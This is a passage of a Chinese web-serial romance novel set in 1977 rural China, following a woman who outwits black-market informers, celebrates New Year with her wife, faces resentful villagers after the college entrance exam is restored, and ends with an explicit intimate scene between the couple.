七点多的时候,筒子楼里王老三的家门被打开,季白青往后躲了躲,见她们妻夫出门。 隐约能够听见二人的讨论声。 “我们这样不会也被抓起来吗?”张丽梅的声音里带了几分担心。 王老三不耐烦道:“怎么会,我们不过是好心举报,只要你别露馅,我们就什么事都没有!” 听了这话,季白青的心一沉。 这两个黑心肝的果然是要去举报黑市。 明明两人也靠着黑市赚了那么多钱,即使是退了一部分人的钱,她们身上肯定也还是有不少钱的。 季白青这样想着,落在她们身上的眼神越发厌恶。 悄悄跟在了她们的身后,季白青见着她们走进了派出所,确定了她们是要报警之后就骑车回了黑市。 去黑市一看,只有胡蝶在,其她人已经被劝走了,季白青松了一口气。 她对胡蝶开口道:“你先陪我在这等等,有人举报黑市,待会儿见机行事,我们随机应变。” 胡蝶人机灵,简单和她说清楚原因便能够知道大概的事情。 见她点头,季白青带着她走得远了些。 在隐蔽的地方盯着王老三和张丽梅带了两个警察过来后,几个人开始搜查。 只是到了王老三所说的看到的黑市之后,别说是个人了,就连一只虫子都没看到,四处静悄悄的。 两个警察怀疑她们是被骗了。 被两个警察严肃地盯着,王老三抹了一把额头的汗,对她们不住地弓腰。 “那个警察同志,上次我和我媳妇过来的时候确实看到了有人这在买卖东西,我……我真不是骗人!” 张丽梅也在一边附和:“对啊警察同志,我们可都眼睁睁的看到了,也不知道今天为什么就没有一个人,下次、下次再来吧,下次来看肯定能够见着人。” 陪同来的警察对视一眼,勉强相信了两人的一面之词,正打算回去,突然就看见了推着自行车过来的两个女同志。 见到了她们后,两个女同志停了下来,诧异地对王老三和张丽梅开口道:“王老三、张丽梅,你们在黑市卖东西被抓了?我们早就劝过你们了,私下做买卖是违法的,让你们不听,现在好了,终于被警察抓了。” 季白青说完后,胡蝶看向年长的那个警察,眼神怯怯道:“警察姐姐、叔叔,王老三她们这样要被关多久啊?她们虽然知错不改,但是还是因为生活太困难了,不然谁也不想做私下的交易冒险的,你们可千万别让她们判得太严重啊,张姐肚子里还有孩子呢。” 王老三和张丽梅看着面前的两个女同志,结结巴巴反驳:“你、你们是谁啊?!我们又不认识,我、我什么时候来黑市做买卖了?!” 王老三都不知道这两人是什么时候过来的,见都没有见过,现在竟然还在警察面前说这种污蔑她们的话。 听了这话后,两个警察看着王老三的眼神都带了几分审视,看得妻夫两人的背后发凉。 张丽梅的声音放大了几分:“你、你们胡说什么!我们根本就没见过你们!再胡说就让警察同志把你们都抓起来!” 季白青闻言,身体瑟缩一番,也有些紧张地看向黑色短发的警察:“同志,我们可没有说谎,难道……你们现在难道不是在抓王老三她们吗?” 警察摇头:“是她们说这里有黑市,让我们来抓人。” 闻言,季白青的身体一颤,有些难以置信。 “可、这里是黑市没错,虽然我们没有进去过,但是我们见王老三她们进去过。” “她们是就是进去卖东西的,卖的好像是辣椒酱。” “如果警察同志你们不相信的话,你们可以去王老三家看看,她们家还有辣椒酱,是她们自己说要拿去卖的,我们都劝她们别去,但一点都劝不动。” 看着妻夫俩人已经完全黑下来的脸,季白青叹了一口气。 听了季白青的话后,警察的眼神落在王老三和张丽梅两人身上。 “她说的话是真的吗?” 王老三僵着一张脸,对她们讨好一笑:“那个警察同志,这女的胡说,你别听她的,我都没见过她!” 两个警察对视一眼,没说话,将看起来明显想要逃跑的王老三和张丽梅铐住,冷声道:“是真是假去你家看一眼就知道了。” 说完后,她们看向胡蝶和季白青:“两位同志,麻烦你们也跟着去一趟,到时候还需要你们帮忙做笔录证明。” 季白青微笑点头,和胡蝶一起跟在警察后面, 等到警察带人去王老三家的时候,确实在她们家发现了大量的还没有卖出去的辣椒酱,整个屋子里都弥漫着一股辛辣刺鼻的味道。 见到了物证后,她们又去问了问邻里,一问才知道两人有段时间天天在别人面前炫耀自己有钱。 刚好与季白青所说的情况对应上了。 季白青和胡蝶简单去做了个滴水不漏的笔录后,得知王老三和张丽梅会被判一年有期后就离开了。 出了警察局后,季白青同胡蝶道别,又去黑市周边转了转,最后真被她找到一处比原本的黑市所在地更好、更隐蔽的地方。 离原本的黑市也就一公里的距离,周围是废弃的房屋,四周有灌木杂草和树作为隐蔽,就算是有警察发现这一处地方,也方便人逃跑,地方也大。 原本的地方已经被王老三妻夫告密,就怕哪天警察又带着人来排查。 将位置记下后,季白青骑着车回去。 第二日之做了一两百串麻辣烫,早上去原本黑市的地方后,只零星聚了几个人。 一问,才知道,昨天有人不信邪回来的时候刚好撞上了警察和王老三,得知这个消息后,生怕自己被抓,今天便不敢过来了。 季白青将找到一个新的隐蔽的地方的消息告诉其她人,闻言,几个人也没有犹豫,纷纷往那块地方涌去。 季白青让卖鞋垫的女同志帮自己看着摊子,她在老黑市口将来买卖东西的人都引到新的地方去。 几天过后,新黑市也逐渐开始正常运行起来,买卖的人几乎都知道了这一处地方。 麻辣烫生意随着年关将近,越来越红火。 季白青靠着卖麻辣烫又赚了不少钱。 在过年前几天的时候,她没再继续卖麻辣烫,而是捣鼓出来火锅底料的做法,试着做出火锅底料去黑市卖。 过年的时候吃火锅最热闹了,牛油火锅辛辣香醇,咕噜咕噜烧开之后,无论是烫青菜还是肉食都好吃。 除此之外,她还做了菌菇清汤和酸汤的。 三个口味轮流卖了几天,还是牛油火锅底料最好卖,溪宁镇大部分的人都爱吃辣。 而且接近年关,人们总是更舍得花钱的,两块五一块的火锅底料可以吃一两天,买起来也毫不心疼。 也没想着做长久的生意,季白青卖了一个礼拜,赚了一两百块钱便收了手,开始着手准备过年。 这还是一大家子一起过的第一个年,只是温知意和温皎皎不在,不过她们早早地就寄来了年礼,衣服、围巾、手套杂七杂八的东西。 每个人都有份。 还寄来了一张电视机票和相应的钱,让何香月拿着去买个电视机。 不过这么重的礼何香月哪里肯收,千推万阻,最后还是温向荣给了季白青,让季白青有空就去买上一台电视机回来。 季白青顶着两个长辈的注视,压力山大,但在老婆的提议之下还是决定好去买一台黑白电视机。 二月十五号,季白青和温淼裹得严严实实的,一起去供销社看看有不有电视机卖。 去的时候并不算凑巧,售货员得知她们要买电视机,遗憾道:“电视机昨天刚卖出去一台,再有的话应该要出正月里。” 闻言,季白青和温淼倒也不沮丧,去买了点心,又给每人包括远在京市的温知意、温如嫣和陆霁都挑了新年礼物,寄出去后这才回了家。 今年云水村的收成很不错,将公粮上交之后,每户分下来的粮食都比去年多了不少。 就连猪都养得膘肥体壮,规定的量交上去后村里还剩下三头猪。 虽然李向东不喜欢季白青,但是村里就她杀猪最有经验,也最利索,最后还是捏着鼻子请她去帮着村里杀猪。 照样的,要给对应的报酬。 季白青还多要了一个猪蹄,见李向东黑着脸答应后她才去将三头猪给处理了。 今年每家每户的肉都分得多了一些,尤其是人多的家里,分下来的肉让她们吃得满嘴流油。 季家分到的肉也都挺多,虽然温向荣还没在云水村落户,但是李向东看着季伟的面子上,最后还是睁一只眼闭一只眼给她分了些粮食和猪肉。 除夕那天,一家人聚在季家过年。 今年是温如嫣和季白青两人掌厨,季白青做了个红烧猪蹄,甜口的,想着温淼大概会喜欢吃。 还有清蒸鱼、竹笋炖鸡、辣椒酿、豆腐酿、油焖虾…… 桌子摆的满满当当,肉眼看过去,只是吃一顿肯定吃不完。 但今天可是过年,肯定要丰盛一些。 吃饭的时候,季白青给温淼夹猪蹄,放了冰糖,肥瘦适中,甜而不腻,温淼尝了一口后,眼睛都眯了起来,果然很喜欢吃。 见状,季白青微微一笑,想着明天还可以给她做个糖醋排骨吃。 吃完饭后,一家人打开收音机,聚在一起听了听节目,便也准备各自回房间休息了。 几个长辈给温淼、季白青和温如嫣塞了红包才回的房间。 回去之后,温淼和季白青倒也没有直接睡,两人是准备守岁的。 将年前买的炉子给点上,两人准备烤点水果吃。 在炉子上放了橘子、柿饼,又放了一个小锅,往里加水煮了一锅花茶,水开后,咕噜咕噜地冒着泡,往里加入金银花和薄荷叶,不用担心吃炒花生、炒瓜子这些会上火。 两人喝着茶,吃着烤橘子,小声地说着话。 其实说是守夜,到了十二点之后,两人都有些困了,便也没坚持下去。 简单洗漱一番后都钻进了被窝,被窝原本是冷的,被季白青的体温一蒸,没多久就暖和起来。 她在枕头上蹭了蹭,却总觉得枕头下有东西。 把手往下一摸,摸到了一个红包。 拿出来一看,上面写着娟秀的字迹。 ——阿青岁岁平安。 她侧目看着温淼,面对她的注视,温淼微微一笑。 轻声道:“这是给妹妹的压岁钱。” “喔。”季白青轻声应下,捏着红包,在温淼的温柔注视之下,偷偷捂住了眼睛。 她还记得去年温淼也给了自己压岁钱,在第一世的时候,温淼也给了,那时是她第一次收到压岁钱。 温淼总是这么好。 温淼见她难得的娇气模样,唇角翘起,逗她:“不会就哭鼻子了吧?” “嗯……”季白青瓮声瓮气地承认。 在温淼面前,她从来都不需要遮掩。 温淼抱住她,抚摸她柔软的头发,轻声哄着人:“好啦,不过是一个红包而已,以后每年都给你好不好?” 一个吻轻轻落在了季白青的唇边,女人的声音清甜:“阿青,新年快乐。” 季白青将人抱紧,不住地点头:“老婆新年快乐,明年,后年,往后的很多年我们都要一起过。” 她挣的所有钱都给温淼,只想要她能够在每年新年的时候给自己一份压岁钱。 岁岁年年都要这样才行。 温淼答应了,她求之不得才对。 岁岁年年,她想要和季白青拥有。 大年初一,季白青和温淼商量了一会之后,去了梅叙家拜访。 带上了先前就给梅叙和梅大娘准备好的礼物,季白青给温淼系好围巾,带上帽子和手套,这才带她去镇上。 两人戴的围巾还是先前季白青亲手织的红色的那一条,温淼很喜欢,保存的也很好,现在看着都还是崭新的,围在脖子上衬得面色红润,漂亮得很。 季白青今年都没什么时间,此刻见她这么喜欢,打算过年在家休息的几天再给两人织一条浅灰色的围巾,灰色搭什么颜色的衣服都好看。 好在过年的时候梅叙还是在家的,她们没有走空。 见到了温淼和季白青过来的时候,梅叙十分惊喜。 她让两人进门,“怎么今天有空来了?” 季白青将手上提着的礼品放在了桌上,笑眯眯道:“梅姨,我和淼淼来给你和梅大娘拜年呢,新年好。” 温淼也笑道:“梅姨新年好。怎么没见到梅大娘?” 梅叙不住地点头,解释道:“我娘前几天回老家去了,所以不在。” 她擦了擦手,一时间有些窘迫。 “我也不太会做饭,要是不介意的话,淼淼和白青你们妻妻就留下来吃一顿饭吧,我看看做点什么。” 季白青拍了拍胸脯,十分主动开口:“梅姨,你和淼淼说话,我去做饭,我的手艺好。” 说着,她十分主动地将桌上摆着的水果拿去洗了切好,拿出来给梅叙和温淼吃。 看着厨房里剩下的菜,她心里有了个大概,拟了个菜单。 梅叙坐在温淼身边看着季白青里里外外忙活,还有些不好意思。 温淼笑道:“梅姨,没事的,让她干吧,她闲不下来的,我们可以说说话。” 其实温淼也不知道要同梅叙说些什么,但是季白青话里话外的意思明显是想要给她和梅叙之间独处的空间,让两人谈谈。 她不想让季白青的好意落空。 梅叙闻言,沉默了一会儿,眼神落在她身上,温柔无比。 “你和白青结婚后过得怎么样?” 温淼柔柔一笑,一提到她,声音都不自觉软了下来:“挺好的呀,阿青对我很好。” 梅叙听她说着她与季白青之间的事情,只觉得分外欣慰。 见温泠月的女儿现在过得这么好,她想,这下温泠月应该不用再担心了吧。 虽然日子平常,过得没有往日里富贵,村里的日子自然是要艰苦一些,但是在现在的条件下也很好了。 说完之后,见梅叙看着自己柔和的眼神,温淼的心里突然多了几分勇气。 她张了张唇,将心里想了很久的话问出了口。 “梅姨,我想知道你是喜欢我妈妈吗?” 闻言,梅叙一愣,手也不自觉的收拢。 这样的话对她来说其实有些冒昧,但是提出这问题的却是温泠月唯一的女儿。 再冒昧一点的话,她也能回答。 这样想着,梅叙在心里轻轻叹出一口气。 “喜欢。” 温淼得到了答案,心里早就有所准备,也并不惊讶。 她的心情有些复杂,问梅叙:“那梅姨,妈妈的日记本你看了吗?妈妈她……” 刚想要问出口的话被梅叙打断,她唇角的笑意清浅,淡淡道:“看了,阿月是什么想法我也不敢揣测,知道她还想着我,现在的状态就很好。” 她看着温淼,摸了摸她的头发,温声开口: “淼淼要是不介意的话,可以把我当做妈妈,就算我和你妈妈没有在一起,但我们先前还是很好的朋友,本来就该给你当干妈的。” 见温淼面色纠结,她眉心舒展开,耐心解释:“不是要你管我叫妈妈的意思,只是想要让你知道,在遇上难题的时候,还有一个依靠。” “如果有需要的话,随时欢迎你和白青来找我。” 温淼点头,“谢谢梅姨。” 两人说完话的功夫,厨房里传出来饭菜的香味。 季白青陆续将菜端了出来,三个人聚在一起吃了一顿丰盛的午饭。 离开前,季白青指着桌子上剩下的菜道:“梅姨,晚上把每个菜放进锅里热热就能吃了,这些菜隔了一餐会更入味。” 梅叙笑着点头应下,又给她们每个人都塞了一个厚厚的大红包。 季白青刚想推拒,就听她开口道:“我一个人也没什么要花钱的地方,给你和淼淼花的话,我很高兴。” 这话一说,季白青反而不好推脱了,最后只能收下。 她想着,到时候回去多做些吃的,下次出来的时候给梅叙和梅大娘送来。 回到家后,温淼跨坐在季白青的大腿上,抱着她不说话。 季白青见状,耐心询问:“怎么了?上午不开心?” 她隐约听见了两人的对话,不应该才对。 温淼默默摇了摇头。 “只是觉得有些唏嘘。”如果温泠月还在就好了。 季白青拍拍她的背,安慰:“悲欢离合,这些都是我们阻止不了的。” 她唯一想的便是,过好当下的日子。 现在新年过去后,又开始新一轮的春种。 村里在四月又多来了一女两男三个知青,将知青点再次挤满。 但知青点在村里的存在感还是逐渐减少,连沈念念都不怎么出来蹦跶了。 季白青和温淼在村里也不张扬,过着自己安安稳稳的小日子。 在七月份后,季白青就没再去过黑市,每天和温淼一起在家看书。 见她们妻妻俩每天就知道窝在家里看书,连双抢都不参加,村里有些人看不惯,见着她们就嘲笑道: “天天在家看那点书,也不知道有什么用!看书又挣不了公分!” 季白青和温淼只当做听不到,毕竟有没有用她们自己心里知道。 人生天地之间,若白驹之过隙,忽然而已。 一转眼,到了十月。 1977年10月21日,云水村的广播播报,高考恢复。 云水村的村民和知青都炸开了锅。 “高考居然恢复了!” 【作者有话说】 今天不是ddl,快夸我! 感谢投雷和营养液,感谢评论订阅收藏~~~ “人生天地之间,若白驹之过隙,忽然而已。”——庄子。 113 第113章 ◎游戏◎ 这消息一出,村里简直是炸开了锅。 众人议论纷纷,都觉得有些难以置信。 谁都没有想到被废除了这么多年的高考竟然还有机会在今年恢复! 不少人听到了消息之后第一反应便是在此时开始催促自家相应的年龄区间的孩子认真学习备考,毕竟如果真的能够考上大学的话,无论是对哪家哪户来说都是光宗耀祖的存在。 有人狠狠心,就连上工赚工分的活也都不让自家可以参加高考的孩子干了。 毕竟高考后如果真考上了一个大学,大学毕业之后还能分配工作,到时候分配到了城里的工作后,就不再是面朝黄土背朝天的泥腿子了,可以一跃成为有铁饭碗的城里人。 谁不想着有这样的好事降临在自己家。 这样的消息下来后,有人欢喜有人愁还有人恨。 先前对温淼和季白青不参加双抢而是在家看书学习发出嘲笑的那些村民在听到了这个消息之后,又联想到她们的行为,脸色顿时铁青下来。 脸被打得啪啪响。 她们最见不得季家过得好了,而她们现在才得到的消息,发现季白青和温淼竟然提前了几个月就开始复习,这让她们怎么能够不恨。 虽然复习也不一定能够考上,但是提前复习了那么久,万一真的考上了呢!毕竟以前上学时季家丫头的成绩就很好。 一时间,她们的猜测纷纷,有人想道,难不成她们早就知道了这个消息?! 总不能是真的喜欢读书吧。 一想到她们早就知道消息这个可能,不少人有怨恨季白青和温淼没有将这个消息提前告诉她们,一群人聚集在一起,义愤填膺地将她们辱骂一番后便准备去她们家找人算账- 季白青早就知道高考会恢复,温淼也被她提前告知过,所以在听到了高考恢复的消息之后,她们二人神色如常,倒是丝毫没有惊讶。 但心情还是会有些激动的,毕竟等了这么长的时间,也做了那么久的准备,现在终于到了这一天。 恢复高考,意味着两个人有机会一起去上大学了。 虽然已经在二十一世纪上过大学,但实际上属于季白青的大学时光一直都是枯燥无味的,她的日常便是学习、做兼职,在宿舍、教室、图书馆和兼职处四点一线,从来没有感受过多少属于大学生活的美好。 能和温淼一起上大学,补上曾经的缺失,像是普通的情侣一般能够同她手拉手走在学校里,光是想想都觉得美好。 尤其两个人的水平差不多,虽然一个打算报考理科专业,一个打算报考文科专业,但还是有很大的可能能够进到同一所学校。 一年多的复习时间,加上有两人原本的基础在那,现在她们已经将小学到高中的知识都复习得差不多了,也做过不少试卷,前期还会有几道错题,到了后面就再也没有再怎么错过。 高考恢复的消息出来后,何香月和温向荣她们都对两人宝贝的不行,吃饭都不让她们动手做,一起去季家吃。 干什么都直接找何香月她们就行,她们帮着干。 一旦看到温淼和季白青闲下来,就开始催促两人去复习看书。 简直是比当事人两个都要着急。 季白青怀疑如果不是因为何香月的年龄不符合,她都快要拿着本书去复习,然后自己上阵了。 或许是有些考前焦虑,虽然并不是她要考试,但也是确确实实焦虑上了,毕竟平日里季伟叫季白青干点什么轻便活儿,都会被她厉声制止。 一想到这个可能,她觉得好笑又无奈- 村里一行人商量好之后就气势汹汹地走到了温淼和季白青家,结果过去的时候才发现大门紧闭着。 意识到她们不在这一处后,她们又连忙转了方向,往季家走去。 到了季家门口,透过大门看见在屋子里吃饭的两个人,一个男人最先开口道: “季家丫头和温知青出来!” “别在屋子里躲着,有本事就出来!” “就是,你们干的可真不是人事啊!” 外面的人抱怨的声音此起彼伏,一句一句传到屋里人的耳中。 季白青和温淼同时皱起了眉,刺耳的凳子拖拽声响起,抬头一看,何香月已经阴沉着脸站了起来。 见她出了门要和门口那群人理论,季白青也连忙站了起来,跟在她身后。 等到她们出去的时候,那群人已经推开了院子栅栏的门冲了进来。 和何香月对上视线的时候,见她眸中的怒火,在最面前的男人心虚一瞬,随后才意识到自己身后还站了那么多人,瞬间挺直了脊背。 他越过何香月,视线落在季白青和温淼两人的身上。 “季白青、温淼,你们两个真是太让吴叔我伤心了。” 季白青看他的眼神里带了几分关爱。 这人是脑子有病吗?怎么说出来这么没脑子的话的? 被她用奇怪的眼神注视着,吴叔瞬间恼怒了。 “你这么看着我是什么意思?你们自己做了什么对不起我们大家伙的事儿你们不知道?!如果还想要装作不知道的话,我可以帮你们回忆起来。” 季白青的头微微偏向一边,盯着她们,饶有兴趣地开口问道:“哦?那你们说说,我们做了什么对不起你们的事?” 吴叔说“你们是不是早就知道了高考要恢复的事情?!不然怎么会提前这么早复习?” 季白青和他对视一眼,懒洋洋一笑:“吴叔,你在乱说什么呢?我又不是神仙,我哪里还有提前预知未来的能力?” 停了这话,吴叔后面的王婶开口道:“你不知道的话,那你和温知青为什么那么早就开始在家里学习了?!你们就是知道了,但不肯告诉我们乡里乡亲。” “都是一个村的人,你们做到这个地步,这么不近人情,也不怕生儿子没屁|眼!” 这句话说完之后,她们身后的人纷纷出言附和。 “对啊,都是一个村的人。” “说实在的,香月啊,你这个女儿没教好,真没教养。” “这孩子和以前一点也不一样了,越来越自私。” 这诅咒在季白青听来不痛不痒的,毕竟她和温淼又生不了孩子,即使生的话也不会生儿子。 指责她她也丝毫不在意,毕竟听这些人的话就跟放屁一样,她听过这么多,一向都不放在心里。 她有些敷衍回答道:“就不能是因为我们单纯爱学习?吴叔王婶,这你们就不懂了吧,我和淼淼爱学习,我娘和我爹她们也都心疼我们,愿意让我们不干活挣工分,你们还有你们家的孩子能做到这样吗?” 季白青简单扫视一圈,这些人要么是觉得读书没用,压根就没有让家里的孩子继续上学,要么就是家里孩子原本的成绩就不好,即使提前知道了,她们会愿意继续花钱供孩子上学吗?或者很多人即使提前两三个月知道了要高考,复习了也不一定能够考上。 更何况,她们舍得为了让孩子专心在家复习而放弃那点工分吗? 别说双抢的工分比平时要多不少,但就算不多,也没有多少人舍得放弃那点哪怕只有一点点的工分,顶多就是嘴上催促几句,让家里的孩子白天去干活,晚上在家学习。 但都累死累活干了一天,谁还有精力继续学习,往床上一趟就睡着了。 即使是在二十一世纪,也不是所有的家长都像是何香月这样开明,做到何香月这份上,更别说是在七十年代了。 闻言,那群人的脸上多少都有些发红,被戳中了心里的想法后有些跳脚。 “你告诉我们是一回事,我们怎么做是另一回事。” “就是啊,你怎么就知道我们不会那么做呢,何香月能做的事,我们怎么就不能做到。”有人不满反驳。 “不管怎么说,你们就是自私。” 季白青将手按在即将要发火的何香月的肩膀上,示意她先冷静一下。 将人群扫视了一眼后,挑了个人单独拎出来说事。 “张叔,你家昨天是不是吃肉了?我看到你女婿回去的时候拎了好大一块肉。” 张叔听到自己被点名,还有些茫然,见所有人的视线顿时落在自己的身上,他有些窘迫,下意识反驳:“我哪有吃肉,没有的事。” 这话一出,立马有一道浑厚女声反驳。 “别说季家丫头了,昨天我也看见,你还在这要骗我们呢。” 张叔嘴唇嗫嚅一番后,最终还是承认了。 “这跟我吃没吃肉有什么关系?” 季白青看着他笑了笑:“张叔,我们村里多久才吃一顿肉啊,你一下收到这么大一块肉,怎么不告诉其她婶叔和大娘大爷,让她们都来你家一起吃。” 张叔眼睛瞪大,看着她道:“你发癔症了!我家吃肉和别人有什么关系?” 季白青淡淡道:“你看,你这种想法就是自私,自己家吃肉怎么能不叫村里的人也一起尝尝呢?这也太没教养了。” 看着人的脸变得涨红,她又转向吴叔:“吴叔,前几天看到你家吃了黄桃罐头,黄桃罐头我也没吃过,你怎么不拿给我也尝尝?” 不等他回答,季白青立马点头,恍然大悟道:“哦,我知道了,因为吴叔也没教养,还很自私。” 将院子里的所有人都点评了一遍,有的人在没轮到自己的时候就偷偷跑了。 留下一群人脸色一会儿铁青一会儿涨红,跟条变色龙似的。 季白青一下说了那么多话,有些口渴。 温淼及时给她递了一杯水,接过水杯,喝了一口润了润嗓子,季白青柔声对老婆道谢。 随后扭过头去,目光犀利继续盯着村民。 “照你们自己的说法,你们都这么自私,干脆都别活了,死了算了,刚好后山还有位置,就地埋了就行。” 这话一说出来后,全场都沉默了下来。 季白青面色冷静地又喝了一口水。 “如果你们觉得你们没错的话,那我就有错?首先我不知道高考恢复的消息,其次就算是我知道,那我有和你们分享的必要吗?” “你们当初对我说过的话,我都还记得,别以为时间长了就能过去,毕竟我年纪还摆着在,暂时不会有老年痴呆。” 面前的女女男男几乎都是在温向荣出事时对她的行为添油加醋、指手画脚过的人,季白青虽然没有刻意去记过,但奈何她们说的次数太多,她的记性还好,便都在心里留下了印象。 见季白青说完了,何香月站在一边抄起了扫把,吼道:“你们这群吃了屎的玩意,还不快滚出老娘家!” 说着,她一扫把最先落在最前面的吴叔的腿上,将他的腿打的生疼。 “嗷!”吴叔嚎叫一声,不敢再和这两个疯女人辩论,一扭身过去就跑了。 见带头的人跑了,其她人也瞬间不敢再留下,生怕待会儿何香月挥着的扫把就落在了自己的身上。 见人一瞬间都跑光了,何香月不屑一笑,评价道:“都是一群怂货!” 说又说不过季白青,打又打不过何香月。 季白青的心情也没受到多大的影响,见她娘被气得胸膛剧烈起伏,连忙在她肩膀上拍了拍,安慰道:“娘,没事,她们都是忮忌我们,你别气,快回去继续吃饭,待会儿菜该冷了。” 回到饭桌,一直在里面听着动静的温向荣给季白青盛了一碗汤。 接过汤,季白青还有些受宠若惊。 “谢谢奶奶。” 就听着温向荣淡淡道:“多喝点润润嗓子,下回见到这些蠢货再多说点。” 季白青:“……” 这她要是听*不出温向荣话里的讽刺之意,那她也是蠢货了。 她对温向荣讨好一笑:“奶奶,我和她们直接动手的话那不是胜之不武。” 更何况,看着那群人被气得说不上来话的样子,季白青觉得更爽。 温向荣淡淡收回了视线,没再说话。 等到吃了午饭后,季白青和温淼被赶回去复习去了。 回到了家,两人倒是没有如何香月她们所想的那般复习,而是一起睡了个午觉。 毕竟每天都看书的话也太枯燥了,总是要劳逸结合才对。 季白青的数学计算能力要比温淼好太多,温淼经常会请教她问题。 午觉睡醒之后,季白青看着拿着数学题问自己的温淼,眼中狡黠一闪而过。 给她简单将这道题的解题思路理清楚后,见温淼懂了,她清了清嗓子,开口道:“老婆,好无聊,我们来玩个游戏吧。” 温淼疑惑地看向她:“什么?” 想到自己待会儿要说出来的话,季白青的脸颊也微微发红,眼神飘忽一瞬,最后还是色胆在前,将想说的话说了出来。 “你以前的数学错题我都帮你整理出来了。“ 温淼“嗯”了一声,还是没懂她要表达什么意思,示意她继续说下去。 季白青暗戳戳地将温淼的手握住,以免待会儿她听了自己的话后羞恼得要揍人。 “话我先说在前面,只是一个增进我妻妻感情的小游戏,你有选择权,只是不答应的话我会有点难过而已。” “……一口气说完不行吗?”温淼看着她,秀眉拧起。 遮遮掩掩到底是要说些什么东西?不就是玩个游戏吗?她难道还能拒绝不成。 季白青闻言,老实巴巴地将自己想出来游戏说了出来。 “错题一共有五十多题,都是我教过你的,你自己做,一题一改,做错了题要接受惩罚。” “做错了一道题接吻五分钟。” 温淼点头,还能接受。 “两道题的话,揉五分钟。”季白青的视线落在温淼的胸口处。 不过其实比起惩罚,这更像是奖励了,毕竟温淼身体敏感,舒服的是她自己。 温淼闻言,下意识往后仰,咬唇瞪着她:“……不行,你都在想什么?” 只是第二个惩罚就羞成这样,那后面该怎么办? 季白青撑着脸,幽幽叹了一口气,“老婆,到底有不有游戏精神?” 温淼又不说话了。 季白青见状,将后面的一并说了出来。 “做错三道题的话,咬五分钟。四道题让你舒服一次,五道题的话,那就得放在里面一直不出来,等你做完题。” 看着温淼红得不像话的脸,季白青的语气轻柔:“相信老婆应该不会错五道题以上吧?” 温淼深吸一口气,努力保持镇定,掀起眼皮看向青年,反问道:“如果一题没有做错呢?” 季白青笑眼弯弯:“那蓁蓁想要对我做什么我都愿意的。” 温淼沉吟一会儿,道:“那你要穿去年新年那条裙子,然后被我……弄。” 定定盯了温淼一会儿,季白青忽然发现温淼真的很有服务精神。 一直执着于要帮自己…… 温淼被她盯着,微微侧过头去,露出红艳的耳垂。 她问:“不行吗?” 季白青轻笑,“当然可以。” 将重抄了一遍的错题拿出来,给了温淼,看她开始计算。 季白青随意抽了本课本,开始背课文。 等她做完了一题就帮她改。 前十道题都全对,温淼微微舒了一口气,濡湿的手心舒展开。 季白青见状,唇角微微翘起。 笨蛋,好像高兴得太早了一点。 果然,第十一题写到了一半,温淼的眉心不自觉紧皱,笔在稿纸上飞速运算,最终得出来一个自己也并不算确定的答案。 将错题本推给季白青的时候,她内心惴惴不安,有些紧张地盯着季白青。 见季白青打了个勾后才猛地松了一口气。 写到十二题的时候便轻松了许多,季白青被她看着,批改的时候在最终答案上打了个叉. 将本子推回去,她点了点最后的答案。 “前面步骤没问题,但是算错了。” 温淼再算了一遍,果然是在计算上出的问题。 她看了季白青一眼,一眼不眨地主动亲了上去。 唇齿交融间,暧昧的水声响起,身体逐渐变得绵软下来,温淼倚在季白青的怀里,几乎有些找不到支撑点,还是被季白青搂着腰,才没有掉下去。 五分钟过去,温淼撑着凳子坐了回去,缓了一会儿后才继续做后面的题。 原本就是她不擅长的题,有些题做过一次后她没来得及再去复习,所以即使已经吸取了前面的教训,尽量细心,做起来还是有一定的难度在。 第二道错题很快出现,是公式用错了。 季白青挑眉看她:“刚才老婆还是主动呢?” 怎么现在反而是双颊泛红地坐在那一动不动了呢。 温淼看了眼拉好的窗帘,又忍不住瞪了季白青一眼,慢吞吞将外套敞开,将上衣撩起来,隐约见到浑圆边缘。 她忍着羞意开口:“你自己来。” 说完后,她睫毛细细的发颤,偏过头去。 热气一下一下地打在了自己的胸口,还没等她反应过来,指骨分明的手落了上去。 既然是惩罚,那季白青没有丝毫收着,动作有些肆意。 温淼勉强抿着唇才没有发出什么声音,腿却不受控制地并拢起。 睫毛都快被羞耻得要打湿了,和另外一处一样。 五分钟的惩罚好不容易结束,温淼全身都发软,笔拿在手中几次掉了下来。 季白青给她倒了杯冷水,笑眯眯道:“不着急,慢慢写,有一下午的时间呢。” 屋子的窗帘早就被拉上,房间里打开了灯,被她这样一提醒,温淼才想起来原来现在还在下午。 还是白天…… 她心中羞赧得越发厉害,埋头看着题目都不敢再看季白青。 后面的题慢吞吞地写了一个多小时。 即使不放心地检查了几遍,最后还是迎来了第三个错题。 说起来,这样的惩罚和第二个惩罚也没什么两样,只是口腔更加湿润,柔软的唇瓣与胸口相贴时又是不一样的感觉。 尤其是,口欲期的小狗爱咬人。 细细密密的痛像是雨滴,一滴滴汇聚,最后引发出身体的洪流。 温淼的手指都在发颤,白皙的指节都泛着粉色,惩罚结束之后还没有反应过来。 身体软得几乎坐不住。 季白青将人抱着坐在自己的腿上,等她缓和之后再继续做之后的题。 一场春雨过后,换来的也许是更为清醒的脑子。 一直到倒数第二题都还没有出现第四个错题。 季白青的手在最后一题上点了点,声音含笑。 “这可是最后一题了哦,老婆可别做错了。” 毕竟做错了就要被惩罚,还是在白天接受惩罚。 温淼攥着笔的手抓紧,心脏难以控制地浮现一丝紧张。 答案落笔后,她上下检查了两遍。 最后才给了季白青看。 简单看了一眼,季白青轻易看出来问题。 她叹了口气,圈出解题步骤中的错误。 “哎呀,看来老婆今天也很想做。” 点了点错的题,她浅笑道:“不然怎么会把上次做过的题都给忘记了。” 最后一题就是放水来着,季白青都没想到她竟然会做错。 原本还在心里暗自觉得有些可惜来着,但她没想到温淼没写对。 细想一下上次她错了这题,唔……好像是上次晚上告诉她用什么方法计算之后,就把温淼往床上带了来着。 所以是太舒服了把解题方法都忘记了? 难怪刚才看她做这道题的时候脸比先前要红。 温淼闭着眼,长睫细细发颤,不想搭理季白青。 这一题她确实是想不起来先前季白青所说的解题方法了,也确实是季白青所想的那样,在做的时候,欲潮上涌,最后什么知识都抛在了脑后。 事后她也没能想起来这道题,还是刚才看到题目的时候惊讶一瞬间,暗道糟糕,觉得自己完蛋了。 努力解了很久,没想到还是做错了。 “是不是故意的?”季白青贴在她耳边轻声询问。 温淼睁眼,眼底浮现出懊恼情绪。 她避而不谈,而是道:“做不做了?” 说着,站起来要拉着季白青往床边走。 季白青坐在原地没有动,反而是将人往自己这边拉,一下温淼被拉得跌坐在她的怀中。 对上女人疑惑的眼,季白青微微一笑。 她问:“老婆,我什么时候说了惩罚可以回床上了?” 